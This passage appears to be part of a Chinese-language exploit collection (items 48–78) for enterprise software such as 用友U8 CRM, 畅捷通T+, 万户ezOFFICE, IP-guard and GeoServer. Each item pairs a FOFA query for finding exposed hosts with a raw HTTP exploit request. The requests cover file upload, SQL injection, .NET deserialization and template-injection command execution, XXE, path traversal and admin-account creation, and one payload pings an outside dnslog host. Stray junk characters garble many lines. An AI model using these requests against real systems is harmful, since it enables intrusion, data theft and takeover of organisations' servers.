8 T# e6 D4 U! w9 f48. 用友U8 CRM swfupload 任意文件上传
8 W1 \& N' {9 q/ p0 ?7 MFOFA：title="用友U8CRM"
4 n4 u# G0 N& bPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
4 d% ~7 O5 p3 ]; s& C1 Q; f  x: S, rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& h. ?) |: U0 M$ @* F- q0 i' cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 t+ v& m) E( n' v/ q& {Accept-Encoding: gzip, deflate
7 `' }- ~) H0 k/ j, _  J7 a$ iContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
& J/ l: D. I  x% z' D6 o------269520967239406871642430066855
. c4 ~/ t3 ^4 N1 y  QContent-Disposition: form-data; name="file"; filename="s.php"
; s. V* W2 q: M1231
) u/ [9 o" l; z/ U* xContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
7 ]3 O3 F( a5 u' X) v6 Z------269520967239406871642430066855--

4 C4 ?* w0 R3 s! v4 z  U+ Y
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
% X0 S& r0 h5 BFOFA：body="用友U8CRM"
: E3 J  W0 u% K# ?
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
& R& b7 I3 C( y' }Host: x.x.x.x
; e  @5 E& j* s7 t; JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" ^$ H6 h4 f. uAccept-Encoding: gzip, deflate
1 H8 b. ?+ B0 f3 BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

* Y" V) R7 ]. y# ?& n) Owersqqmlumloqa
% h$ P" M1 Q+ ~( u* F" @, a! L-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

0 `* H/ [7 S/ ?upload
-----------------------------vvv3wdayqv3yppdxvn3w--
, Z1 g, q3 V: |
( p0 v1 x0 y5 D5 V8 Y
1 G3 R# f5 a  [2 @& l/ g- F$ }http://x.x.x.x/tmpfile/updB3CB.tmp.php

0 F! Y2 Q# [2 G: W50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
8 Q: U0 @9 e) m, [) M( H3 lPOST /course/filterRecords/ HTTP/1.1
( C' [( g! j" [$ ~$ vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
# j) _+ [* Q$ sContent-Length: 224
Accept: */*
' n8 L, A% @# D) U5 o1 I- W  aAccept-Language: en
Content-Type: application/x-www-form-urlencoded
1 b  ]! I, N: a6 d% g, v( r1 d4 {Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
+ I7 o  d& p; c6 c9 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) L! Y5 J5 P' A( N( U% c3 w) W
% d  X, e( A9 q0 j" B4 _& ^
52. 泛微E-Office json_common.php sql注入
# k8 E/ N8 ~- C  nFOFA：app="泛微-EOffice"
3 p9 b' ?9 K! z/ e/ A0 u  HPOST /building/json_common.php HTTP/1.1
7 u3 |2 E! T$ |) `( b/ r5 f3 gHost: 192.168.86.128:8097
0 c( S0 |. S: n! i* o% m4 ZUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
, r' f7 B" c8 [+ dContent-Length: 87
Accept: */*
Accept-Language: en
1 ]# c9 }, Q# dContent-Type: application/x-www-form-urlencoded
: W1 _' P( \2 D2 L7 M5 HAccept-Encoding: gzip
5 w# U+ ?' |, j  p
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
4 B' g2 w+ R( z7 z  E

53. 迪普 DPTech VPN Service 任意文件上传
9 p9 L# H  P7 vFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
* q3 V! e6 [9 F7 u: ^: O% g

完整数据包
2 ~2 h9 K7 J$ i8 EPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
2 u2 P' S) @& c. W9 hUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
; y$ n+ u; Y- @4 WContent-Length: 593

! d$ V, ~& R( M' ~1 B8 _; l{
$ T- Z' Y. h! i0 Y0 Z8 @"storeID":{
3 ~7 M# k9 D, b7 x. Z "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
/ }8 b  F3 `5 \2 _( s$ |4 V   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
& t3 W& i' W# `" H$ i* O5 J' |1 n& j6 n   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
" S% l, {9 c" Q    }
2 J) u( u9 ~" Q! j1 f  }
  }
  d' S# y  c% z. X6 J0 I9 k5 m! ?+ d}

8 a3 U5 ?  _1 Q8 x5 q" Q
第二步，访问如下url
8 i$ O$ K+ G1 K9 q* L3 g! Y/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

  \7 Y4 ~  P; @6 Y, |
55. 畅捷通T+ getdecallusers信息泄露
, j! S6 ~2 u5 z2 \FOFA：app="畅捷通-TPlus"
0 Z6 e3 b& q% Z, g% l第一步，通过
& U1 N: v( X: Y% s) Q/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
( m7 L0 l% X; E第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

5 E' r" x  J5 c4 U2 Y( l56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
; X1 c' Q! D/ ^POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
) l3 X7 T& E" aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
& G  j/ w" G1 ?7 u$ b: J# gContent-Type: application/json

{
* N! `4 Y, L( ]( @  "storeID":{
$ J% m* w" N) ?+ U1 x! I! \3 k    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
5 n" [+ x" `8 c1 K4 z: Z        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
}
+ K) y% O1 q! r/ L% k3 W

0 [7 }7 ]/ }# [57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
9 {5 S% n: P0 I* IUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( l& }2 d9 C9 W) K0 [" K* q) O( y1 IAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

8 n3 X. c( Q% T5 Q& U1 k. ]6 D  ?
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
' w' E. w# O8 {5 U7 x. _GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
7 q+ L. R% g4 MUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
9 Y; c2 c6 B- D! KAccept-Encoding: gzip, deflate
7 T1 A' u7 r0 PConnection: close
  H% l' O* ~( ]

: Z, f) b. k2 F0 G# K) I" r% F' ?$ ?59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
- P: g- h' }' Y3 b6 `8 {$ E+ JFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
: }) }* ]; [0 {7 j6 ]% M3 }User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
+ U6 u: A/ `# a" KContent-Length: 1669
' f( x# p, k( ]' NAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
$ z  ?8 z: S5 _+ \9 w7 l; lAccept-Encoding: gzip

PAYLOAD

" J. X% {( ~7 n3 |: q
, f1 M1 S+ s3 b' W! y0 L60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
( W2 n+ t8 `* R. Y9 O" uGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
% H' ]& l7 V7 ~7 P4 @9 f$ ?Host:
8 i* d/ S6 g; C- L: WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 b- Q3 T; {) d: Y7 y+ w8 @Accept-Encoding: gzip, deflate
9 z$ X# I3 l- S8 s5 ^+ bAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 M* m  u0 N- U0 v7 \

9 ~; h9 l# Q: @$ {, n# N1 w61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
% Y8 a+ g, a% ?0 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! S3 p6 T* Y6 u1 _1 ?* S5 S2 iContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
8 j' b2 N9 N2 UContent-Type: application/x-www-form-urlencoded
5 ~( ^- h7 O+ Z+ x* \4 @" J1 D2 @
8uxssX66eqrqtKObcVa0kid98xa

2 d# L0 V- F/ h1 r1 h/ n+ T- c
, P+ s) ~( \9 S$ Y; _  u9 m62. IP-guard WebServer 远程命令执行
' X  J4 N! q: |! l9 W2 ^FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
( z$ Y* c# f7 |4 c( GHost: x.x.x.x
4 ^7 G2 ~; H; N- D$ J. p6 L5 i0 LUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
4 E& \  \# O# A& _Connection: close
Accept: */*
5 [3 L5 w1 o6 r3 T0 z4 f4 jAccept-Language: en
0 I0 V7 {$ ?+ BAccept-Encoding: gzip
) O- |" M& `/ B! U" \$ {! Z
4 U0 W: [8 s. t
) Y+ w) j  K; q* ^& y- G) ^访问

& D. c( v. k$ V  xGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
$ E7 @1 m6 d  ?1 nHost: x.x.x.x
5 Y  q6 A  ^# r8 j; R2 T2 g
6 e& ~: I  V+ v8 ?& i$ d) l- H
4 F; k3 q: c' t" u+ c: a63. IP-guard WebServer任意文件读取
. P- y% h6 P! q* q% JIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
5 m7 A7 |  J( `" `  Z8 YPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" a% v9 i' \( H! b4 L. r& q: QAccept-Language: zh-CN,zh;q=0.9
Connection: close
* s  N, d9 D3 k9 P* T: C; ZContent-Type: application/x-www-form-urlencoded
$ u' E$ q% F+ e7 j
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

! U) Q4 R9 b% e7 @: d" ]; i64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! K; H, L+ M  _+ k* X3 DFOFA：body="/Scripts/EnjoyMsg.js"
/ r6 w4 ?; Q3 D0 S& _: BPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
& G; W& l5 m" `Host: 192.168.86.128:9001
1 c" d" W* D9 \8 ~User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
) `3 q- K6 e5 r
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 y6 C: ^8 O  M<soap:Body>
+ v9 ~& ]" j' X3 c+ c( E+ d    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
5 k4 G% O3 ]2 h1 u3 v! V* }, X  </soap:Body>
3 I7 l: C8 ~7 G& {+ k</soap:Envelope>
5 r5 `  [: e8 \1 X! o
( W0 q' v5 N8 N8 G
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
# ]  k9 L4 P9 K响应200即成功创建账号test123456/123456
( v' V5 u- ?, W6 g0 k& IPOST /SystemMng.ashx HTTP/1.1
9 K, z1 J  B+ C. `4 i! O( y  h! BHost:
, S$ e; R8 Z5 J, j$ iUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
* L/ v2 h2 y* ~/ VAccept-Language: en
Content-Length: 174
8 i3 F5 o9 T9 W  \7 B: J. o
9 _6 y/ }  }  zoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
, n3 A4 P7 {- s+ B

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
6 c9 K+ T& n8 X3 Q* s# l* pFOFA：app="万户ezOFFICE协同管理平台"

* C" h/ ^. N) \/ i& J  b, }GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
' G3 z& D. I2 E, qAccept-Language: en
Accept-Encoding: gzip

* N/ ^  q2 }  H2 @5 k
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
( g- g2 u+ k% f
67. 万户ezOFFICE wpsservlet任意文件上传
8 a8 l9 \. e; U. i# b7 T2 X# IFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
+ M4 |) g. w/ E6 lContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
% c8 C- n. V2 d. t7 xAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
8 g2 b6 B3 c, t4 T# Q* G) ]8 d: FContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
4 s8 Y; n: L- A2 [8 l  x' L0 O4 NDNT: 1
Upgrade-Insecure-Requests: 1
" ~/ a; {  g) n4 T1 Y
) z& d3 ~3 n- A/ U- k" T0 B$ [--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
2 J) P1 \2 ]5 `+ N--ufuadpxathqvxfqnuyuqaozvseiueerp--
' j7 Y6 w7 U2 y) g& P. O

5 p: {3 }, e! o3 ~  |/ [( |文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
1 J  {' d) [3 N2 W- o
- ]  q' H# @6 J- B" b9 G68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
& |" p7 o: N8 P( U8 ]+ ?Host: {{host}}
, D3 A& m  R- H/ E( Z  L0 e/ FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( r2 q" b% `! j4 eAccept-Encoding: gzip, deflate
: P) a7 u! ?' x1 p% wAccept-Language: zh-CN,zh;q=0.9
Connection: close

6 X! a. o" P5 ~4 G7 [
7 E) X3 {8 ?7 W3 K69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
! G: f* k2 X$ Y. QGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
3 W5 }3 x; X. y# S$ ZUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; z- G9 ^8 M: P& U/ L3 o2 m. _Accept-Encoding: gzip, deflate
Accept: */*
! k" @8 |5 Y0 xConnection: keep-alive
( e+ ]; `& o5 W/ t" C; e, b& n" n7 Z

70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
7 Q: A+ L( Z" u# B3 T" TContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD

$ s0 y( @# B* f$ M( i' O
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
/ r9 {. u9 Q) n; eGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
# {3 W8 Q+ i- t& I, ~: c. |User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: f6 P8 Y! S! I1 sUpgrade-Insecure-Requests: 1
3 Z% Q0 H4 a0 [5 v3 Z6 Z3 [

7 Q( V4 q0 ?0 h. c7 b72. 致远OA getAjaxDataServlet XXE
; \4 z2 x; Q* V" u* f# D. vFOFA：app="致远互联-OA"
% \8 C2 G6 _" i0 z6 VPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
2 x2 j6 J% S5 x7 HUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
7 v! f0 ?* m# @! g3 _. GConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
  E) F/ s1 A: E8 Q1 C

6 I0 @% \- q  g2 `- U1 H, Y73. GeoServer wms远程代码执行
" P% n# f% c" q/ ^, o2 RFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
; x* q3 ~7 d& m1 r% H1 t1 r- nContent-Type: application/xml
SL-CE-SUID: 3
( R4 x9 M9 F% E# U: T
PAYLOAD

' x$ [( z3 @7 V7 N
0 K$ S! H( m0 f& B7 b& T74. 致远M3-server 6_1sp1 反序列化RCE
3 a, b; w  s( RFOFA：title="M3-Server"
6 n1 a; ~7 B$ a  j; B0 [PAYLOAD

0 [9 z2 n; E5 B75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
9 ~0 u  W! [) b" ]1 r* dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
, G1 P0 s% K- l6 n0 @3 d% F* c5 NAccept: */*
4 ~( H' x. g' J7 ZAccept-Language: en
Accept-Encoding: gzip
' Z; e! [6 f& X& N

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


2 Z. t0 Y: w" a/ O& O& T4 ]76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 E3 K+ ^( X2 s, b/ l2 ^Accept-Encoding: gzip, deflate
' W  q! K, r+ W; L* XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# x8 e3 J3 q& O% ~( n: f% uCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
( ^: ]$ d9 W. ~) @8 i  gUpgrade-Insecure-Requests: 1

0 v" Q  R; _8 w  a3 i4 P4 ?! ]{
"command": "GetFZinfo",
* O+ c3 O$ |' L5 |* I, e  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
/ g% H3 ?, L% B1 c4 r  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
8 A, g7 I: ^, h" P}
- |! Y; i( G( {6 b% ~5 G1 z  f

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
# P& S! f* `  i* d0 A8 {


77. F22服装管理软件系统UploadHandler.ashx任意文件上传
! U, o0 B) y7 Z  D5 l& H: dFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
; h' A3 J& A. l. dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; R3 Y$ ^& E" [Connection: close
Content-Length: 433
Accept: */*
. o" w1 m9 B) F8 j: _- x. S! \) ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
! o0 s& \% g2 s  V4 r2 S
* j1 g" ^0 n6 u. U, Q: P------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
) V6 r3 F' A& G( T5 W
/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
) c. P$ y+ E3 _2 t0 MContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
/ H' h; n1 C: w: y) A0 ]/ H
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

3 O3 X. Q5 Q7 n% E3 r7 ESubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
" s2 y% h) o- T9 q) a

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
